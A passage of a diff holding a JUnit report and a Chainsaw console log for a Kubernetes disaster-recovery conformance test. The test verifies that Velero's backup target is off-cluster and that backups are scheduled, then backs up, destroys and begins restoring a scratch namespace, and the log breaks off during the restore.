||||
"$@"
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
<testsuites name="chainsaw-report" tests="1" failures="0" errors="0" time="0.000000"><testsuite name="/work/conformance/tests/l3-fault-injection/dr-restore" tests="1" failures="0" errors="0" id="0" time="">
|
||||
<testcase name="dr-restore" classname="" time="150.698290" />
|
||||
</testsuite>
|
||||
</testsuites>
|
||||
@@ -0,0 +1,672 @@
|
||||
[1m[run.sh][0m Coverage report first (always)
|
||||
[coverage] 51/51 requirements have a scaffolded test (100.0%); 0 gap(s), 0 safety-critical gap(s).
|
||||
[coverage] wrote /work/conformance/_artifacts/coverage/coverage.md and /work/conformance/_artifacts/coverage/coverage.json
|
||||
[1m[run.sh][0m No L0/L1 offline checks match the selection (layer=l3 reqs='R-STATE-03').
|
||||
[1m[run.sh][0m LIGHT pass: no tests selected.
|
||||
[1m[run.sh][0m HEAVY pass: 1 test(s) SERIAL (parallel=1) — dr-restore
|
||||
Version: 0.2.12
|
||||
Loading config (/work/conformance/config/chainsaw-config.yaml)...
|
||||
- Using test file: chainsaw-test
|
||||
- TestDirs [/work/conformance/tests/l3-fault-injection/dr-restore]
|
||||
- SkipDelete false
|
||||
- FailFast false
|
||||
- ReportFormat 'JUNIT-TEST'
|
||||
- ReportName 'chainsaw-report-heavy'
|
||||
- ReportPath '/work/conformance/_artifacts'
|
||||
- Namespace ''
|
||||
- FullName false
|
||||
- IncludeTestRegex ''
|
||||
- ExcludeTestRegex ''
|
||||
- ApplyTimeout 1m30s
|
||||
- AssertTimeout 3m0s
|
||||
- CleanupTimeout 2m0s
|
||||
- DeleteTimeout 2m0s
|
||||
- ErrorTimeout 1m0s
|
||||
- ExecTimeout 3m0s
|
||||
- DeletionPropagationPolicy Background
|
||||
- Parallel 1
|
||||
- Template true
|
||||
- NoCluster false
|
||||
- PauseOnFailure false
|
||||
Loading tests...
|
||||
- dr-restore (/work/conformance/tests/l3-fault-injection/dr-restore)
|
||||
Loading values...
|
||||
Running tests...
|
||||
=== RUN chainsaw
|
||||
=== PAUSE chainsaw
|
||||
=== CONT chainsaw
|
||||
=== RUN chainsaw/dr-restore
|
||||
=== PAUSE chainsaw/dr-restore
|
||||
=== CONT chainsaw/dr-restore
|
||||
l.go:52: | 02:15:05 | [32;1mdr-restore[0;22m | [32;1m@chainsaw [0;22m | [32;1mCREATE[0;22m | [32;1mOK[0;22m | v1/Namespace @ chainsaw-glorious-sheep
|
||||
l.go:52: | 02:15:05 | [36;1mdr-restore[0;22m | [36;1massert-backup-target-is-off-cluster [0;22m | [36;1mTRY[0;22m | [36;1mBEGIN[0;22m |
|
||||
l.go:52: | 02:15:05 | [36;1mdr-restore[0;22m | [36;1massert-backup-target-is-off-cluster [0;22m | [36;1mCMD[0;22m | [36;1mRUN[0;22m |
|
||||
=== COMMAND
|
||||
/usr/bin/sh -c set -eu
|
||||
|
||||
# ---- helpers -------------------------------------------------------
|
||||
# Classify a kubectl failure: an RBAC denial is a HARNESS DEFECT and must
|
||||
# fail loudly; an absent API is a genuine precondition gap and may skip.
|
||||
die_or_skip() {
|
||||
case "$2" in
|
||||
*orbidden*|*Unauthorized*|*cannot\ list*|*cannot\ get*)
|
||||
echo "FAIL: conformance runner lacks RBAC for $1 -- fix conformance/incluster/rbac.yaml" >&2
|
||||
echo "$2" >&2
|
||||
exit 1 ;;
|
||||
*)
|
||||
echo "SKIP: $1 not available on this cluster -- $2"
|
||||
echo DR_RESTORE_SKIPPED_OK
|
||||
exit 0 ;;
|
||||
esac
|
||||
}
|
||||
|
||||
ip2int() {
|
||||
_q="$(echo "$1" | tr '.' ' ')"
|
||||
set -- $_q
|
||||
[ $# -eq 4 ] || { echo -1; return 0; }
|
||||
echo $(( ($1 * 16777216) + ($2 * 65536) + ($3 * 256) + $4 ))
|
||||
}
|
||||
|
||||
# in_cidr <ip> <a.b.c.d/len> -> 0 when the ip is inside the prefix
|
||||
in_cidr() {
|
||||
case "$2" in *"/"*) ;; *) return 1 ;; esac
|
||||
_net="${2%/*}"; _len="${2#*/}"
|
||||
case "$_len" in ''|*[!0-9]*) return 1 ;; esac
|
||||
[ "$_len" -ge 0 ] && [ "$_len" -le 32 ] || return 1
|
||||
_i="$(ip2int "$1")"; _n="$(ip2int "$_net")"
|
||||
[ "$_i" -ge 0 ] && [ "$_n" -ge 0 ] || return 1
|
||||
[ "$_len" -eq 0 ] && return 0
|
||||
_d=1; _s=0
|
||||
while [ "$_s" -lt $((32 - _len)) ]; do _d=$((_d * 2)); _s=$((_s + 1)); done
|
||||
[ $(( _i / _d )) -eq $(( _n / _d )) ]
|
||||
}
|
||||
|
||||
# ---- Gate 1: the replicated storage tier the DR-critical data lives on --
|
||||
if ! kubectl get storageclass longhorn >/dev/null 2>&1; then
|
||||
echo "SKIP: 'longhorn' StorageClass absent -- no DR-critical data tier on this cluster yet"
|
||||
echo DR_RESTORE_SKIPPED_OK
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# ---- Gate 2: the Velero API + a configured BackupStorageLocation --------
|
||||
BSL_LINES="$(kubectl get backupstoragelocations.velero.io -A \
|
||||
-o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{" "}{.status.phase}{" "}{.spec.provider}{" "}{.spec.default}{" "}{.spec.config.s3Url}{" "}{.spec.objectStorage.bucket}{"\n"}{end}' \
|
||||
2>&1)" || die_or_skip "velero.io/backupstoragelocations" "$BSL_LINES"
|
||||
if [ -z "$(echo "$BSL_LINES" | tr -d '[:space:]')" ]; then
|
||||
echo "SKIP: Velero API present but NO BackupStorageLocation is configured -- no off-cluster backup target yet"
|
||||
echo DR_RESTORE_SKIPPED_OK
|
||||
exit 0
|
||||
fi
|
||||
echo "backup storage locations:"
|
||||
echo "$BSL_LINES"
|
||||
|
||||
VNS="$(echo "$BSL_LINES" | head -1 | cut -d' ' -f1)"
|
||||
|
||||
# ---- Gate 3: Velero server + node-agent (kopia FSB) actually ready -------
|
||||
# File System Backup is the volume-DATA path (platform/velero/helmrelease.yaml:
|
||||
# deployNodeAgent=true, uploaderType=kopia, snapshotsEnabled=false). Without a
|
||||
# ready node-agent no volume data can be captured, so the drill is not runnable.
|
||||
VREADY=0; NAREADY=0
|
||||
for i in $(seq 1 12); do
|
||||
VREADY="$(kubectl -n "$VNS" get deploy velero -o jsonpath='{.status.readyReplicas}' 2>/dev/null || true)"
|
||||
NAREADY="$(kubectl -n "$VNS" get daemonset node-agent -o jsonpath='{.status.numberReady}' 2>/dev/null || true)"
|
||||
echo "poll $i: velero readyReplicas=${VREADY:-0} node-agent numberReady=${NAREADY:-0}"
|
||||
if [ "${VREADY:-0}" -ge 1 ] && [ "${NAREADY:-0}" -ge 1 ]; then break; fi
|
||||
sleep 10
|
||||
done
|
||||
if [ "${VREADY:-0}" -lt 1 ] || [ "${NAREADY:-0}" -lt 1 ]; then
|
||||
echo "SKIP: Velero server and/or its node-agent DaemonSet are not ready in ns '$VNS' -- backup/restore path not available"
|
||||
echo DR_RESTORE_SKIPPED_OK
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# ---- Pick the BSL this drill will use: prefer the default, and it MUST be
|
||||
# Available. A CONFIGURED-BUT-UNAVAILABLE target is NOT a precondition
|
||||
# gap -- it is a live R-STATE-03 defect, so it FAILS (after a bounded
|
||||
# wait for first-validation on a cold start), it does not skip. --------
|
||||
BSL_NS=""; BSL_NAME=""; BSL_URL=""; BSL_BUCKET=""
|
||||
for i in $(seq 1 12); do
|
||||
BSL_LINES="$(kubectl get backupstoragelocations.velero.io -A \
|
||||
-o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{" "}{.status.phase}{" "}{.spec.provider}{" "}{.spec.default}{" "}{.spec.config.s3Url}{" "}{.spec.objectStorage.bucket}{"\n"}{end}' 2>/dev/null || true)"
|
||||
CAND="$(echo "$BSL_LINES" | grep ' Available ' | grep ' true ' | head -1 || true)"
|
||||
[ -n "$CAND" ] || CAND="$(echo "$BSL_LINES" | grep ' Available ' | head -1 || true)"
|
||||
if [ -n "$CAND" ]; then
|
||||
BSL_NS="$(echo "$CAND" | cut -d' ' -f1)"
|
||||
BSL_NAME="$(echo "$CAND" | cut -d' ' -f2)"
|
||||
BSL_URL="$(echo "$CAND" | cut -d' ' -f6)"
|
||||
BSL_BUCKET="$(echo "$CAND" | cut -d' ' -f7)"
|
||||
break
|
||||
fi
|
||||
echo "poll $i: no Available BackupStorageLocation yet"
|
||||
sleep 10
|
||||
done
|
||||
if [ -z "$BSL_NAME" ]; then
|
||||
echo "FAIL: a BackupStorageLocation is configured but NONE reached phase 'Available'." >&2
|
||||
echo " The off-cluster backup target is unreachable -- R-STATE-03 is BROKEN, not merely untested." >&2
|
||||
echo "$BSL_LINES" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "using BSL ${BSL_NS}/${BSL_NAME} bucket=${BSL_BUCKET} endpoint=${BSL_URL}"
|
||||
|
||||
# ---- OFF-CLUSTER PROOF (1): an endpoint we can evaluate ------------------
|
||||
if [ -z "$BSL_URL" ]; then
|
||||
echo "FAIL: BackupStorageLocation ${BSL_NS}/${BSL_NAME} exposes no spec.config.s3Url;" >&2
|
||||
echo " the OFF-CLUSTER property of the backup target cannot be established, so this" >&2
|
||||
echo " test refuses to claim it. (Extend this check for a non-S3 provider.)" >&2
|
||||
exit 1
|
||||
fi
|
||||
HOST="${BSL_URL#*://}" # strip scheme
|
||||
HOST="${HOST%%/*}" # strip path
|
||||
HOST="${HOST%%:*}" # strip port
|
||||
echo "backup endpoint host: $HOST"
|
||||
|
||||
case "$HOST" in
|
||||
localhost|*.svc|*.svc.cluster.local|*.cluster.local)
|
||||
echo "FAIL: backup endpoint '$HOST' is a CLUSTER-INTERNAL name -- the backup target is IN the cluster." >&2
|
||||
echo " An in-cluster backup store cannot satisfy R-STATE-03 (off-cluster backup)." >&2
|
||||
exit 1 ;;
|
||||
esac
|
||||
|
||||
# Resolve to an IPv4 address. If it cannot be resolved we CANNOT establish the
|
||||
# off-cluster property -- that is a failure, never a silent pass.
|
||||
case "$HOST" in
|
||||
*[!0-9.]*)
|
||||
# Endpoint given as a name. Try the resolvers that may exist in the
|
||||
# runner image, in order; if none is available or none resolves, the
|
||||
# test FAILS below rather than guessing.
|
||||
EPIP="$(getent ahostsv4 "$HOST" 2>/dev/null | head -1 | cut -d' ' -f1 || true)"
|
||||
[ -n "$EPIP" ] || EPIP="$(getent hosts "$HOST" 2>/dev/null | head -1 | cut -d' ' -f1 || true)"
|
||||
[ -n "$EPIP" ] || EPIP="$(nslookup "$HOST" 2>/dev/null | grep -A2 '^Name:' | grep '^Address' | head -1 | sed 's/.*: *//' || true)" ;;
|
||||
*) EPIP="$HOST" ;;
|
||||
esac
|
||||
if [ -z "$EPIP" ]; then
|
||||
echo "FAIL: could not resolve backup endpoint host '$HOST' to an IPv4 address;" >&2
|
||||
echo " the OFF-CLUSTER property cannot be asserted, so this test does not pass." >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "backup endpoint resolves to: $EPIP"
|
||||
|
||||
# ---- OFF-CLUSTER PROOF (2): the endpoint is outside every cluster address --
|
||||
case "$EPIP" in 127.*|0.0.0.0) echo "FAIL: backup endpoint $EPIP is loopback -- not off-cluster" >&2; exit 1 ;; esac
|
||||
|
||||
NODE_IPS="$(kubectl get nodes -o jsonpath='{range .items[*]}{range .status.addresses[*]}{.address}{"\n"}{end}{end}' 2>/dev/null || true)"
|
||||
for a in $NODE_IPS; do
|
||||
if [ "$a" = "$EPIP" ]; then
|
||||
echo "FAIL: backup endpoint $EPIP is a NODE address of this cluster -- the backup is not off-cluster." >&2
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
echo "endpoint is not any node address (checked $(echo "$NODE_IPS" | grep -c . || true) node addresses)"
|
||||
|
||||
SVC_IPS="$(kubectl get svc -A -o jsonpath='{range .items[*]}{.spec.clusterIP}{"\n"}{end}' 2>/dev/null || true)"
|
||||
for a in $SVC_IPS; do
|
||||
if [ "$a" = "$EPIP" ]; then
|
||||
echo "FAIL: backup endpoint $EPIP is a Service ClusterIP -- the backup target lives INSIDE the cluster." >&2
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
echo "endpoint is not any Service ClusterIP (checked $(echo "$SVC_IPS" | grep -c . || true))"
|
||||
|
||||
POD_IPS="$(kubectl get pods -A -o jsonpath='{range .items[*]}{.status.podIP}{"\n"}{end}' 2>/dev/null || true)"
|
||||
for a in $POD_IPS; do
|
||||
if [ "$a" = "$EPIP" ]; then
|
||||
echo "FAIL: backup endpoint $EPIP is a POD IP -- the backup target is an in-cluster pod." >&2
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
echo "endpoint is not any Pod IP (checked $(echo "$POD_IPS" | grep -c . || true))"
|
||||
|
||||
POD_CIDRS="$(kubectl get nodes -o jsonpath='{range .items[*]}{.spec.podCIDR}{"\n"}{range .spec.podCIDRs[*]}{@}{"\n"}{end}{end}' 2>/dev/null || true)"
|
||||
for c in $POD_CIDRS; do
|
||||
case "$c" in *:*) continue ;; esac # IPv6 prefixes are out of scope here
|
||||
if in_cidr "$EPIP" "$c"; then
|
||||
echo "FAIL: backup endpoint $EPIP falls inside node podCIDR $c -- it is in the cluster pod network." >&2
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
echo "endpoint is outside every node podCIDR (checked: $(echo "$POD_CIDRS" | tr '\n' ' '))"
|
||||
|
||||
# Best-effort (needs networking.k8s.io/ServiceCIDR, which the least-privilege
|
||||
# runner may not read): the checks above are the authoritative ones.
|
||||
SVC_CIDRS="$(kubectl get servicecidrs.networking.k8s.io -o jsonpath='{range .items[*]}{range .spec.cidrs[*]}{@}{"\n"}{end}{end}' 2>/dev/null || true)"
|
||||
if [ -n "$SVC_CIDRS" ]; then
|
||||
for c in $SVC_CIDRS; do
|
||||
case "$c" in *:*) continue ;; esac
|
||||
if in_cidr "$EPIP" "$c"; then
|
||||
echo "FAIL: backup endpoint $EPIP falls inside the Service CIDR $c -- it is in the cluster." >&2
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
echo "endpoint is outside every ServiceCIDR ($(echo "$SVC_CIDRS" | tr '\n' ' '))"
|
||||
else
|
||||
echo "(ServiceCIDR objects unreadable -- skipping that best-effort check; ClusterIP/PodIP/podCIDR checks stand)"
|
||||
fi
|
||||
|
||||
echo "OFF_CLUSTER_TARGET_OK bsl=${BSL_NS}/${BSL_NAME} endpoint=${EPIP} bucket=${BSL_BUCKET}"
|
||||
l.go:52: | 02:15:08 | [36;1mdr-restore[0;22m | [36;1massert-backup-target-is-off-cluster [0;22m | [36;1mSCRIPT[0;22m | [36;1mLOG[0;22m |
|
||||
=== STDOUT
|
||||
backup storage locations:
|
||||
velero default Available aws true https://7ce452a1b3d6c86daf2c020edcb82d37.r2.cloudflarestorage.com k3s-prod-backup
|
||||
poll 1: velero readyReplicas=1 node-agent numberReady=3
|
||||
using BSL velero/default bucket=k3s-prod-backup endpoint=https://7ce452a1b3d6c86daf2c020edcb82d37.r2.cloudflarestorage.com
|
||||
backup endpoint host: 7ce452a1b3d6c86daf2c020edcb82d37.r2.cloudflarestorage.com
|
||||
backup endpoint resolves to: 172.64.66.1
|
||||
endpoint is not any node address (checked 6 node addresses)
|
||||
endpoint is not any Service ClusterIP (checked 82)
|
||||
endpoint is not any Pod IP (checked 197)
|
||||
endpoint is outside every node podCIDR (checked: 10.42.0.0/24 10.42.0.0/24 10.42.1.0/24 10.42.1.0/24 10.42.2.0/24 10.42.2.0/24 )
|
||||
endpoint is outside every ServiceCIDR (10.43.0.0/16 )
|
||||
OFF_CLUSTER_TARGET_OK bsl=velero/default endpoint=172.64.66.1 bucket=k3s-prod-backup
|
||||
l.go:52: | 02:15:08 | [32;1mdr-restore[0;22m | [32;1massert-backup-target-is-off-cluster [0;22m | [32;1mSCRIPT[0;22m | [32;1mDONE[0;22m |
|
||||
l.go:52: | 02:15:08 | [36;1mdr-restore[0;22m | [36;1massert-backup-target-is-off-cluster [0;22m | [36;1mTRY[0;22m | [36;1mEND[0;22m |
|
||||
l.go:52: | 02:15:08 | [36;1mdr-restore[0;22m | [36;1massert-backups-are-scheduled [0;22m | [36;1mTRY[0;22m | [36;1mBEGIN[0;22m |
|
||||
l.go:52: | 02:15:08 | [36;1mdr-restore[0;22m | [36;1massert-backups-are-scheduled [0;22m | [36;1mCMD[0;22m | [36;1mRUN[0;22m |
|
||||
=== COMMAND
|
||||
/usr/bin/sh -c set -eu
|
||||
SCHED="$(kubectl get schedules.velero.io -A \
|
||||
-o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" phase="}{.status.phase}{" cron="}{.spec.schedule}{" lastBackup="}{.status.lastBackup}{"\n"}{end}' 2>/dev/null || true)"
|
||||
if [ -z "$(echo "$SCHED" | tr -d '[:space:]')" ]; then
|
||||
# Distinguish "Velero absent" (skip, in lock-step with step 1) from
|
||||
# "Velero present but nothing scheduled" (a real R-STATE-03 defect).
|
||||
if kubectl get backupstoragelocations.velero.io -A >/dev/null 2>&1; then
|
||||
if [ -z "$(kubectl get backupstoragelocations.velero.io -A -o name 2>/dev/null || true)" ]; then
|
||||
echo "SKIP: no BackupStorageLocation configured -- scheduling not applicable yet"
|
||||
echo DR_SCHEDULE_SKIPPED_OK
|
||||
exit 0
|
||||
fi
|
||||
echo "FAIL: Velero is configured with a backup target but declares NO Schedule --" >&2
|
||||
echo " R-STATE-03 requires SCHEDULED off-cluster backups, not manual ones." >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "SKIP: Velero API absent -- backup scheduling not applicable on this cluster yet"
|
||||
echo DR_SCHEDULE_SKIPPED_OK
|
||||
exit 0
|
||||
fi
|
||||
echo "velero schedules:"
|
||||
echo "$SCHED"
|
||||
# A Schedule that exists but is paused/disabled backs nothing up.
|
||||
if echo "$SCHED" | grep -q 'phase=Enabled'; then
|
||||
echo BACKUPS_ARE_SCHEDULED_OK
|
||||
else
|
||||
echo "FAIL: no Velero Schedule is in phase 'Enabled' -- scheduled off-cluster backups are not running." >&2
|
||||
exit 1
|
||||
fi
|
||||
l.go:52: | 02:15:08 | [36;1mdr-restore[0;22m | [36;1massert-backups-are-scheduled [0;22m | [36;1mSCRIPT[0;22m | [36;1mLOG[0;22m |
|
||||
=== STDOUT
|
||||
velero schedules:
|
||||
velero/velero-daily phase=Enabled cron=0 3 * * * lastBackup=2026-09-13T04:01:06Z
|
||||
velero/velero-daily-resources-only phase=Enabled cron=0 3 * * * lastBackup=2026-09-13T03:00:03Z
|
||||
BACKUPS_ARE_SCHEDULED_OK
|
||||
l.go:52: | 02:15:08 | [32;1mdr-restore[0;22m | [32;1massert-backups-are-scheduled [0;22m | [32;1mSCRIPT[0;22m | [32;1mDONE[0;22m |
|
||||
l.go:52: | 02:15:08 | [36;1mdr-restore[0;22m | [36;1massert-backups-are-scheduled [0;22m | [36;1mTRY[0;22m | [36;1mEND[0;22m |
|
||||
l.go:52: | 02:15:08 | [36;1mdr-restore[0;22m | [36;1mdata-restores-from-the-off-cluster-backup[0;22m | [36;1mTRY[0;22m | [36;1mBEGIN[0;22m |
|
||||
l.go:52: | 02:15:08 | [36;1mdr-restore[0;22m | [36;1mdata-restores-from-the-off-cluster-backup[0;22m | [36;1mCMD[0;22m | [36;1mRUN[0;22m |
|
||||
=== COMMAND
|
||||
/usr/bin/sh -c set -eu
|
||||
NS="$NAMESPACE"
|
||||
SRC="${NS}-dr-src" # scratch source namespace (destroyed by design)
|
||||
DST="${NS}-dr-dst" # clean restore target (must not pre-exist)
|
||||
BK="${NS}-dr-backup"
|
||||
RS="${NS}-dr-restore"
|
||||
OWNER_LABEL="conformance.home.k3s/created-by=${NS}"
|
||||
|
||||
# ---- Re-derive the preconditions (steps do not share shell state). Every
|
||||
# skip below mirrors step 1 exactly, so the whole test skips or runs
|
||||
# as a unit -- it can never half-run. -----------------------------
|
||||
if ! kubectl get storageclass longhorn >/dev/null 2>&1; then
|
||||
echo "SKIP: 'longhorn' StorageClass absent"; echo DR_RESTORE_SKIPPED_OK; exit 0
|
||||
fi
|
||||
BSL_LINES="$(kubectl get backupstoragelocations.velero.io -A \
|
||||
-o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{" "}{.status.phase}{" "}{.spec.default}{"\n"}{end}' 2>/dev/null || true)"
|
||||
CAND="$(echo "$BSL_LINES" | grep ' Available ' | grep ' true$' | head -1 || true)"
|
||||
[ -n "$CAND" ] || CAND="$(echo "$BSL_LINES" | grep ' Available ' | head -1 || true)"
|
||||
if [ -z "$CAND" ]; then
|
||||
echo "SKIP: no Available BackupStorageLocation (see the off-cluster step for the authoritative verdict)"
|
||||
echo DR_RESTORE_SKIPPED_OK; exit 0
|
||||
fi
|
||||
VNS="$(echo "$CAND" | cut -d' ' -f1)"
|
||||
BSL_NAME="$(echo "$CAND" | cut -d' ' -f2)"
|
||||
if [ "$(kubectl -n "$VNS" get daemonset node-agent -o jsonpath='{.status.numberReady}' 2>/dev/null || echo 0)" -lt 1 ]; then
|
||||
echo "SKIP: Velero node-agent (kopia FSB) not ready -- volume data cannot be backed up"
|
||||
echo DR_RESTORE_SKIPPED_OK; exit 0
|
||||
fi
|
||||
echo "velero ns=$VNS bsl=$BSL_NAME src=$SRC dst=$DST"
|
||||
|
||||
# A clean restore target means PREVIOUSLY NONEXISTENT, and the source name must
|
||||
# be free. If either is lying around from an aborted run, remove it before we
|
||||
# claim "clean" -- and fail loudly if it will not go, because a half-deleted
|
||||
# namespace would silently invalidate the destroy proof below.
|
||||
kubectl delete namespace "$DST" "$SRC" --ignore-not-found --wait=true --timeout=300s
|
||||
|
||||
# ============================ GIVEN ==============================
|
||||
# A DR-critical stateful workload with known data on the replicated tier.
|
||||
CANARY="dr-canary-$(date +%s%N)"
|
||||
kubectl create namespace "$SRC"
|
||||
kubectl label namespace "$SRC" "$OWNER_LABEL" --overwrite
|
||||
|
||||
kubectl -n "$SRC" apply -f - <<EOF
|
||||
apiVersion: v1
|
||||
kind: PersistentVolumeClaim
|
||||
metadata:
|
||||
name: dr-data
|
||||
labels:
|
||||
conformance.home.k3s/created-by: ${NS}
|
||||
spec:
|
||||
accessModes: [ReadWriteOnce]
|
||||
storageClassName: longhorn
|
||||
resources:
|
||||
requests:
|
||||
storage: 1Gi
|
||||
EOF
|
||||
|
||||
kubectl -n "$SRC" apply -f - <<EOF
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: dr-workload
|
||||
labels:
|
||||
app: dr-workload
|
||||
conformance.home.k3s/created-by: ${NS}
|
||||
spec:
|
||||
restartPolicy: Never
|
||||
containers:
|
||||
- name: app
|
||||
image: busybox:1.36.1
|
||||
command: ["sh", "-c", "sleep 7200"]
|
||||
volumeMounts:
|
||||
- name: data
|
||||
mountPath: /data
|
||||
volumes:
|
||||
- name: data
|
||||
persistentVolumeClaim:
|
||||
claimName: dr-data
|
||||
EOF
|
||||
|
||||
kubectl -n "$SRC" wait --for=condition=Ready pod/dr-workload --timeout=300s
|
||||
printf '%s' "$CANARY" | kubectl -n "$SRC" exec -i dr-workload -- sh -c 'cat > /data/canary && sync'
|
||||
echo "seeded canary: $(kubectl -n "$SRC" exec dr-workload -- cat /data/canary)"
|
||||
|
||||
ORIG_PV="$(kubectl -n "$SRC" get pvc dr-data -o jsonpath='{.spec.volumeName}')"
|
||||
[ -n "$ORIG_PV" ] || { echo "FAIL: source PVC never bound to a PV" >&2; exit 1; }
|
||||
echo "original in-cluster PersistentVolume: $ORIG_PV"
|
||||
|
||||
# ======================= WHEN (part 1): back up off-cluster =======
|
||||
# Created as a Velero Backup CR -- exactly what `velero backup create` does.
|
||||
# defaultVolumesToFsBackup:true selects the kopia File System Backup path, so
|
||||
# the VOLUME DATA (not just the resource JSON) is uploaded to the object store.
|
||||
# ttl is short: if the finally-step DeleteBackupRequest is ever lost, Velero's
|
||||
# own GC still removes this drill's objects from the bucket.
|
||||
kubectl apply -f - <<EOF
|
||||
apiVersion: velero.io/v1
|
||||
kind: Backup
|
||||
metadata:
|
||||
name: ${BK}
|
||||
namespace: ${VNS}
|
||||
labels:
|
||||
conformance.home.k3s/created-by: ${NS}
|
||||
spec:
|
||||
includedNamespaces: [${SRC}]
|
||||
storageLocation: ${BSL_NAME}
|
||||
snapshotVolumes: false
|
||||
defaultVolumesToFsBackup: true
|
||||
ttl: 2h0m0s
|
||||
EOF
|
||||
|
||||
BPHASE=""
|
||||
for i in $(seq 1 90); do
|
||||
BPHASE="$(kubectl -n "$VNS" get backups.velero.io "$BK" -o jsonpath='{.status.phase}' 2>/dev/null || true)"
|
||||
echo "poll $i: backup phase=${BPHASE:-<pending>}"
|
||||
case "${BPHASE:-}" in
|
||||
Completed|Failed|PartiallyFailed|FailedValidation) break ;;
|
||||
esac
|
||||
sleep 10
|
||||
done
|
||||
if [ "${BPHASE:-}" != "Completed" ]; then
|
||||
echo "FAIL: off-cluster backup did not complete (phase=${BPHASE:-<timeout>})" >&2
|
||||
kubectl -n "$VNS" get backups.velero.io "$BK" -o yaml >&2 || true
|
||||
exit 1
|
||||
fi
|
||||
echo "backup $BK Completed to ${BSL_NAME}"
|
||||
|
||||
# ---- OFF-CLUSTER PROOF (3): the VOLUME DATA really landed in the remote
|
||||
# kopia repository -- a PodVolumeBackup Completed with a snapshot ID.
|
||||
PVB="$(kubectl -n "$VNS" get podvolumebackups.velero.io \
|
||||
-l velero.io/backup-name="$BK" \
|
||||
-o jsonpath='{range .items[*]}{.metadata.name}{" "}{.status.phase}{" "}{.status.snapshotID}{"\n"}{end}' 2>/dev/null || true)"
|
||||
echo "pod volume backups:"
|
||||
echo "$PVB"
|
||||
if [ -z "$(echo "$PVB" | tr -d '[:space:]')" ]; then
|
||||
echo "FAIL: the backup captured NO pod volume data (no PodVolumeBackup)." >&2
|
||||
echo " Resource-only backups cannot restore DR-critical DATA." >&2
|
||||
exit 1
|
||||
fi
|
||||
# A line is "<name> <phase> <snapshotID>"; require Completed AND a
|
||||
# non-empty snapshot ID (an empty ID means nothing reached the repository).
|
||||
GOOD_PVB="$(echo "$PVB" | grep -cE ' Completed [^[:space:]]+$' || true)"
|
||||
if [ "${GOOD_PVB:-0}" -lt 1 ]; then
|
||||
echo "FAIL: no PodVolumeBackup reached phase Completed with a snapshot ID --" >&2
|
||||
echo " the volume data did not reach the off-cluster repository." >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "volume data uploaded off-cluster (PodVolumeBackup Completed with a kopia snapshotID)"
|
||||
|
||||
# ============ WHEN (part 2): FAULT INJECTION -- annihilate the source ====
|
||||
# Destroy EVERY in-cluster copy: the pod, the PVC, the namespace, and the
|
||||
# underlying PersistentVolume (and with it the Longhorn replicas). After this
|
||||
# there is no in-cluster source the restore could quietly read from.
|
||||
kubectl delete namespace "$SRC" --wait=true --timeout=420s
|
||||
for i in $(seq 1 30); do
|
||||
if ! kubectl get namespace "$SRC" >/dev/null 2>&1; then break; fi
|
||||
echo "poll $i: waiting for namespace $SRC to disappear"
|
||||
sleep 10
|
||||
done
|
||||
if kubectl get namespace "$SRC" >/dev/null 2>&1; then
|
||||
echo "FAIL: source namespace $SRC did not terminate; the destroy step is not convincing" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "source namespace destroyed"
|
||||
|
||||
# The longhorn StorageClass reclaims Delete, so the PV should already be gone;
|
||||
# force it if a Retain policy (or a stuck finalizer) left it behind, because a
|
||||
# surviving PV would make the restore prove nothing about off-cluster recovery.
|
||||
kubectl delete pv "$ORIG_PV" --ignore-not-found --wait=false || true
|
||||
for i in $(seq 1 30); do
|
||||
if ! kubectl get pv "$ORIG_PV" >/dev/null 2>&1; then break; fi
|
||||
echo "poll $i: waiting for PersistentVolume $ORIG_PV to disappear"
|
||||
sleep 10
|
||||
done
|
||||
if kubectl get pv "$ORIG_PV" >/dev/null 2>&1; then
|
||||
echo "FAIL: the original PersistentVolume $ORIG_PV SURVIVED the destroy step." >&2
|
||||
echo " An in-cluster copy of the data still exists, so a successful restore" >&2
|
||||
echo " would NOT prove recovery from the off-cluster backup. Refusing to pass." >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "original PersistentVolume $ORIG_PV is GONE -- no in-cluster copy of the data remains"
|
||||
|
||||
# Best-effort corroboration (the least-privilege runner may not read longhorn.io):
|
||||
# the Longhorn Volume CR and its replicas should be gone too.
|
||||
if kubectl -n longhorn-system get volumes.longhorn.io "$ORIG_PV" >/dev/null 2>&1; then
|
||||
echo "FAIL: Longhorn Volume $ORIG_PV still exists after PV deletion -- replicas survive in-cluster" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "(longhorn Volume CR $ORIG_PV not present -- either deleted or not readable by this identity)"
|
||||
|
||||
# ============================ RESTORE ============================
|
||||
# Into a CLEAN, previously-nonexistent namespace (Velero creates it), which is
|
||||
# the catalog's "restored into a clean state".
|
||||
kubectl apply -f - <<EOF
|
||||
apiVersion: velero.io/v1
|
||||
kind: Restore
|
||||
metadata:
|
||||
name: ${RS}
|
||||
namespace: ${VNS}
|
||||
labels:
|
||||
conformance.home.k3s/created-by: ${NS}
|
||||
spec:
|
||||
backupName: ${BK}
|
||||
includedNamespaces: [${SRC}]
|
||||
namespaceMapping:
|
||||
${SRC}: ${DST}
|
||||
existingResourcePolicy: none
|
||||
EOF
|
||||
|
||||
RPHASE=""
|
||||
for i in $(seq 1 90); do
|
||||
RPHASE="$(kubectl -n "$VNS" get restores.velero.io "$RS" -o jsonpath='{.status.phase}' 2>/dev/null || true)"
|
||||
echo "poll $i: restore phase=${RPHASE:-<pending>}"
|
||||
case "${RPHASE:-}" in
|
||||
